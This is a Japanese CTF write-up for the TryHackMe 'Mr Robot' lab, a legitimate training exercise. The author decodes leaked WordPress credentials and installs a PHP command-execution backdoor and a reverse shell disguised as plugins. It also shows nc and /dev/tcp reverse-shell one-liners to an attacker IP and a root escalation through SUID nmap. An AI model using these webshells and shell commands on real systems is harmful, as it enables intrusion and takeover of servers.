TryHackMeのMr Robot CTFのwriteupおよびメモ。
数日間に渡り取り組んだため、標的マシンのIPアドレスがちょいちょい変わっているのはご愛嬌。
What is key 1?
ひとまずnmap
を走らせてみた。
nmap -Pn -A 10.10.144.23
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ nmap -Pn -A 10.10.144.23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-18 09:16 EDT
Nmap scan report for 10.10.144.23
Host is up (0.19s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-server-header: Apache
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.97 seconds
80番ポートでApache Webサーバーを実行している模様。
定番のrobots.txt
にアクセスしてみた。
User-agent: *
fsocity.dic
key-1-of-3.txt
robots.txt
の中にkey-1-of-3.txt
というファイル名を発見。
http://10.10.144.23/key-1-of-3.txt
にアクセスしたところ、フラグを取れた。
What is key 2?
robots.txt
の中には、key-1-of-3.txt
のほかにfsocity.dic
というファイル名も記載されていたので、試しにhttp://10.10.144.23/fsocity.dic
にアクセスして、ファイルをダウンロードしてみた。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ wc -l fsocity.dic
858160 fsocity.dic
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ head fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ tail fsocity.dic
ER28-0652
psychedelic
iamalearn
uHack
imhack
abcdefghijklmno
abcdEfghijklmnop
abcdefghijklmnopq
c3fcd3d76192e4007dfb496cca67e13b
ABCDEFGHIJKLMNOPQRSTUVWXYZ
どうやらfsocity.dic
は何らかのワード・リストの模様。(結局、自分はこのファイルは活用しなかった)
続いて、gobuster
でWebサーバーのディレクトリを列挙してみた。
gobuster dir -u http://10.10.144.23 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ gobuster dir -u http://10.10.144.23 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.144.23
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 235] [--> http://10.10.144.23/images/]
/video (Status: 301) [Size: 234] [--> http://10.10.144.23/video/]
/rss (Status: 301) [Size: 0] [--> http://10.10.144.23/feed/]
/image (Status: 301) [Size: 0] [--> http://10.10.144.23/image/]
/blog (Status: 301) [Size: 233] [--> http://10.10.144.23/blog/]
/0 (Status: 301) [Size: 0] [--> http://10.10.144.23/0/]
/audio (Status: 301) [Size: 234] [--> http://10.10.144.23/audio/]
/sitemap (Status: 200) [Size: 0]
/admin (Status: 301) [Size: 234] [--> http://10.10.144.23/admin/]
/feed (Status: 301) [Size: 0] [--> http://10.10.144.23/feed/]
/robots (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.144.23/wp-admin/]
/login (Status: 302) [Size: 0] [--> http://10.10.144.23/wp-login.php]
/phpmyadmin (Status: 403) [Size: 94]
/intro (Status: 200) [Size: 516314]
/license (Status: 200) [Size: 309]
/wp-content (Status: 301) [Size: 239] [--> http://10.10.144.23/wp-content/]
/css (Status: 301) [Size: 232] [--> http://10.10.144.23/css/]
/js (Status: 301) [Size: 231] [--> http://10.10.144.23/js/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.144.23/feed/]
/atom (Status: 301) [Size: 0] [--> http://10.10.144.23/feed/atom/]
/wp-admin (Status: 301) [Size: 237] [--> http://10.10.144.23/wp-admin/]
/readme (Status: 200) [Size: 64]
/xmlrpc (Status: 405) [Size: 42]
/%20 (Status: 301) [Size: 0] [--> http://10.10.144.23/]
/page1 (Status: 301) [Size: 0] [--> http://10.10.144.23/]
/0000 (Status: 301) [Size: 0] [--> http://10.10.144.23/0000/]
/wp-login (Status: 200) [Size: 2606]
上記よりWordPressがインストールされていることが判明した。
WordPressの管理用ログインページ http://10.10.144.23/wp-login.php
にアクセスして、定番のユーザー名とパスワード (admin:admin
)でログインできるか試してみたが、ダメだった。
どうにかしてログインのための認証情報を手に入れる必要がある。
上記のスキャン結果より、応答コードが200になっているディレクトリに片っ端からアクセスしたところ、/license
にて不審なメッセージおよびBase64と思しきデータを発見した。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ curl -i http://10.10.144.23/license
HTTP/1.1 200 OK
Date: Thu, 18 Apr 2024 14:41:48 GMT
Server: Apache
Content-Location: license.txt
Vary: negotiate,Accept-Encoding
TCN: choice
X-Frame-Options: SAMEORIGIN
Last-Modified: Fri, 13 Nov 2015 02:29:12 GMT
ETag: "135-52462d331d9d0;52481b7f01ab2"
Accept-Ranges: bytes
Content-Length: 309
Content-Type: text/plain
what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
~~ snipped ~~
do you want a password or something?
~~ snipped ~~
ZWxsaW90OkVSMjgtMDY1Mgo=
※実際の応答データの中には改行がいくつも含まれていた。
ZWxsaW90OkVSMjgtMDY1Mgo=
をBase64デコードすると、elliot:ER28-0652
という文字列が現れた。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ echo -n ZWxsaW90OkVSMjgtMDY1Mgo= | base64 -d
elliot:ER28-0652
再びWordPressの管理用ログインページ /wp-login.php
にアクセスして、ユーザー名にelliot
と指定し、パスワードにER28-0652
と指定したところ、管理者としてログインできた。
管理画面を一通り調べてみたが、2つ目のフラグに繋がりそうな情報は見つからなかった。
ので、Webサーバー侵害の定番、webshellをアップロードすることにした。
軽く調べたところ、WordPressにwebshellを仕込むにはWordPress用のプラグインとしてインストールするのが手っ取り早いらしい。
WordPressに自前のプラグインをインストールする方法は以下の通り。(※参考)
- プラグインの本体であるPHPスクリプトを用意する。このPHPスクリプトにはWordPressのプラグインであることを示すコメントを挿入する必要がある。
- 1.で用意したPHPスクリプトをZIP圧縮する。
- WordPress管理画面より、Plugins -> Add New -> Upload Pluginを選択して、2.で用意したZIPファイルをアップロードし、Install Nowをクリック。
- インストールが完了したらAcitvate Pluginをクリックして、プラグインを有効化する。
今回はKali Linuxにあらかじめ用意されていた/usr/share/webshells/php/simple-backdoor.php
というwebshellをアップロードすることにした。
スクリプトの冒頭にWordPressのプラグインであることを示すコメントを挿入。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ cat simple-backdoor.php
<?php
/*
Plugin Name: Simple Backdoor
Plugin URI: https://example.com
Description: Simple Backdoor
Version: 1.0.0
Author URI: https://example.com
Text Domain: webshell
Domain Path: /languages
*/
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
zip simple-backdoor.zip simple-backdoor.php
で上記のwebshellをZIP化し、WordPress管理画面からアップロードして、プラグインを有効化した。
あとは以下のURLパスにアクセスし、cmd
パラメータに任意のコマンドを指定すればOK.
/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=<your command to execute>
さっそく、コマンドを叩いてみた。
コマンド
/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=id
応答
uid=1(daemon) gid=1(daemon) groups=1(daemon)
コマンド
/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=whoami
応答
daemon
コマンド
/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=find / -name key-2-of-3.txt 2>/dev/null
応答
/home/robot/key-2-of-3.txt
コマンド
/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=ls -lh /home/robot/key-2-of-3.txt
応答
-r-------- 1 robot robot 33 Nov 13 2015 /home/robot/key-2-of-3.txt
上記より、/home/robot/key-2-of-3.txt
というファイルを発見した。このファイルはrobot
(とroot
) ユーザーのみ読み取り可能だが、現在のユーザーはdaemon
のため、ファイルの中身を見ることはできない。
ファイルを読むにはrobot
かroot
ユーザーに切り替わる必要がある。
/home/robot
の中にほかに何かファイルがないか調べたところ、password.raw-md5
というファイルを発見した。
/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=ls -la /home/robot/
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
password.raw-md5
は、どのユーザーでも読み取れる。中身を見てみた。
/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
MD5と思しきハッシュ値 c3fcd3d76192e4007dfb496cca67e13b
が記載されていた。
ハッシュ値をググってみたところ、abcdefghijklmnopqrstuvwxyz
という文字列のMD5ハッシュ値であることが判明した。恐らく、これがrobot
ユーザーの認証パスワードである。
su
コマンドでrobot
ユーザーに切り替わるには、対話シェルで認証パスワードを入力する必要がある。
Webサーバーとの対話シェルを開くために、別のwebshellをアップロードすることにした。
(初めは/simple-backdoor.php?cmd=nc -nv 10.9.221.71 1234 -e /bin/sh
や/simple-backdoor.php?cmd=/bin/bash -i >& /dev/tcp/10.9.221.71/1234 0>&1
でReverse shellを張ろうとしたのだが、上手く行かなかった。)
Kali Linuxにあらかじめ用意されていた/usr/share/webshells/php/php-reverse-shell.php
というwebshellを利用することにした。
スクリプトの冒頭にWordPressのプラグインであることを示すコメントを挿入。IPアドレスとポート番号も忘れずに書き換え。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ head -n 15 php-reverse-shell.php
<?php
/*
Plugin Name: PHP Reverse Shell
Plugin URI: https://example.com
Description: PHP Reverse Shell
Version: 1.0.0
Author URI: https://example.com
Text Domain: reverseshell
Domain Path: /languages
*/
$VERSION = "1.0";
$ip = '10.9.221.71'; // CHANGE THIS
$port = 1234; // CHANGE THIS
攻撃マシンで接続を待ち受け。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ nc -lvp 1234
listening on [any] 1234 ...
あとは先ほどと同様の手順でwebshellをプラグインとしてインストールし、有効化する。
プラグインを有効化した際、Plugin could not be activated because it triggered a fatal error.
というエラーメッセージが現れたが、無事、シェルが起動した。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Mr_Robot_CTF]
└─$ nc -lvp 1234
listening on [any] 1234 ...
10.10.100.78: inverse host lookup failed: Unknown host
connect to [10.9.221.71] from (UNKNOWN) [10.10.100.78] 57840
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
14:18:51 up 55 min, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/
$ whoami
daemon
su robot
でrobot
ユーザーに切り替わろうとしたが、su: must be run from a terminal
と怒られた。
$ cd /home/robot
$ su robot
su: must be run from a terminal
調べたところ、以下のPythonワンライナーで改めてbashシェルを起動すれば、エラーを回避できるらしい。
python -c 'import pty; pty.spawn("/bin/bash")'
上記のPythonワンライナーを実行したところ、無事、su robot
でrobot
ユーザーに切り替わることが出来た。
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ whoami
whoami
robot
あとは/home/robot/key-2-of-3.txt
をcat
するだけ。
What is key 3?
find / -name key-3-of-3.txt 2>/dev/null
を叩いて、key-3-of-3.txt
というファイルを探してみたが、見つからなかった。恐らくrobot
ユーザーがアクセスできないフォルダにファイルがあるためと思われる。
robot@linux:~$ find / -name key-3-of-3.txt 2>/dev/null
find / -name key-3-of-3.txt 2>/dev/null
robot@linux:~$
root
ユーザーに権限昇格できないか調べてみた。
まずはsudo -l
を叩いてみたが、生憎robot
ユーザーはsudo
コマンドを使えない模様。
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz
Sorry, user robot may not run sudo on linux.
robot@linux:~$
続いて、find / -type f -perm -04000 -ls 2>/dev/null
でroot
ユーザー所有のSUIDのセットされたバイナリを列挙してみた。
robot@linux:~$ find / -type f -perm -04000 -ls 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
15068 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
15093 68 -rwsr-xr-x 1 root root 69120 Feb 12 2015 /bin/umount
15060 96 -rwsr-xr-x 1 root root 94792 Feb 12 2015 /bin/mount
15069 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
15085 40 -rwsr-xr-x 1 root root 36936 Feb 17 2014 /bin/su
36231 48 -rwsr-xr-x 1 root root 47032 Feb 17 2014 /usr/bin/passwd
36216 32 -rwsr-xr-x 1 root root 32464 Feb 17 2014 /usr/bin/newgrp
36041 44 -rwsr-xr-x 1 root root 41336 Feb 17 2014 /usr/bin/chsh
36038 48 -rwsr-xr-x 1 root root 46424 Feb 17 2014 /usr/bin/chfn
36148 68 -rwsr-xr-x 1 root root 68152 Feb 17 2014 /usr/bin/gpasswd
36349 152 -rwsr-xr-x 1 root root 155008 Mar 12 2015 /usr/bin/sudo
34835 496 -rwsr-xr-x 1 root root 504736 Nov 13 2015 /usr/local/bin/nmap
38768 432 -rwsr-xr-x 1 root root 440416 May 12 2014 /usr/lib/openssh/ssh-keysign
38526 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
395259 12 -r-sr-xr-x 1 root root 9532 Nov 13 2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
395286 16 -r-sr-xr-x 1 root root 14320 Nov 13 2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
38505 12 -rwsr-xr-x 1 root root 10344 Feb 25 2015 /usr/lib/pt_chown
上記より、/usr/local/bin/nmap
が目に留まった。
GTFOBinsによると、以下のコマンドでnmap
からシェルを起動できるらしい。
nmap --interactive
nmap> !sh
/usr/local/bin/nmap
はroot
ユーザーの所有で且つ、SUIDがセットされている。上手くすれば、上記のコマンドでシェルをroot
権限で起動できそう。
試しにコマンドを叩いてみたところ、シェルがroot
権限で起動した。
robot@linux:~$ nmap -V
nmap -V
nmap version 3.81 ( http://www.insecure.org/nmap/ )
robot@linux:~$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
whoami
root
#
再度、find / -name key-3-of-3.txt 2>/dev/null
を実行したところ、/root/key-3-of-3.txt
というファイルを発見した。このファイルにフラグが記載されていた。
# find / -name key-3-of-3.txt 2>/dev/null
find / -name key-3-of-3.txt 2>/dev/null
/root/key-3-of-3.txt